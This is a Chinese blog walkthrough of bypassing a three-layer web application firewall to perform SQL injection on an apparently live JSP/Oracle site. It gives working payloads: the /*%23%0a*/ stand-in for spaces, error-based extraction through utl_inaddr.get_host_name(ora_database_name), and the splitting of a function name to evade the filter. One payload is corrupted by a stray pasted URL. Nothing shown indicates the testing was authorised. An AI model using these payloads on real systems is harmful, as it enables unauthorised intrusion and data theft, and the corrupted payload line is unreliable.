sql注入之一次艰难的绕过-三层防护(oracle)

sql注入之一次艰难的绕过-三层防护(oracle)

我们经过测试知道此处含有sql注入。我们尝试下:

?id=2862%27  加入单引号,然后就报错:

sql注入之一次艰难的绕过-三层防护(oracle)

 

可以看到,字符型注入。但是此处有防火墙。我们测试下 ‘ and 1=1-- +

sql注入之一次艰难的绕过-三层防护(oracle)

 可以看到,直接被防火墙拦截了。而且拦截及其变态。连anxd都拦截。

既然拦截了anxd,我们推测他应该是过滤的后面,比如1=1 那么我们换成1 like 1试试:

 

sql注入之一次艰难的绕过-三层防护(oracle)

换成and 1 like 1会显示系统错误。在这里,相当于连最基础的正确语句都无法执行。可想而知,这个网站至少有两层过滤,一层防火墙,一层代码过滤。 like被过滤,只能硬拼了。直接硬钢waf。另外,如果此处为mysql+php那么绕过也许不会那么难受,但是此处是jsp+oracle。  Oracle语法基本就那么几种,像/*!50000 这种类型的都不可以用,所以给绕过带来了极大的困难。

 

我们直接钢waf。我们尝试是否有可以替代空格的进行绕过,看看waf是否有所疏漏,经过大量测试,发现/*%23%0a*/可以替换空格,进行绕过。我们尝试下:

And 1=1

 

sql注入之一次艰难的绕过-三层防护(oracle)

And 1=2

sql注入之一次艰难的绕过-三层防护(oracle)

看到成功,非常开心。然后当我满怀欣喜准备大杀四方的时候,输入order by 10的时候一脸懵逼:

sql注入之一次艰难的绕过-三层防护(oracle)

居然又被防火墙拦截。前面不知道大家是否记得我说过了,此处防火墙最起码有两层过滤,但是经过我测试最终发现,其实有三层过滤。真是令人窒息的防火墙。

 

这样又增加了很多困难。在此处,因为要进行联合查询,而基本的order by 都会拦截,那么联合查询更难突破,因为要同时突破unon select from这三个无意是判了死刑。

 

联想到 ?id=2862%27  加入单引号,然后就报错:

sql注入之一次艰难的绕过-三层防护(oracle)

 

 

我们可以采用显错注入。首先,我们来获取数据库名:

?id=2862'and/*%23%0a*/1=utl_inaddr.get_host_name((ora_database_name))--  访问后结果如下:

 

sql注入之一次艰难的绕过-三层防护(oracle)

然后发现,又被拦截。虽然是意料之中,但是还是想说一句:我勒个擦。

 

经过测试发现拦截了utl_inaddr.get_host_name函数。众所周知,mysql可以用/*!information_schema*/.SCHEMATA 此语法进行绕过测试。但是oracle是肯定不支持此语法的。不信我们试试:

?id=2862'and/*%23%0a*/1=http://www.likecs.com/*!utl_inaddr*/.get_host_name((ora_database_name))--

sql注入之一次艰难的绕过-三层防护(oracle)

可以看到,执行失败,语法是错误的。我们不要灰心。

 

此处,我们思维就需要进行改变,我们不能像这种形式:/*!information_schema*/.SCHEMATA

但是可以这一种。information_schema./*!*/SCHEMATA

 

然后进行尝试:

?id=2862'and/*%23%0a*/1=utl_inaddr./*%23%0a*/get_host_name((ora_database_name))--

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/zypdxj.html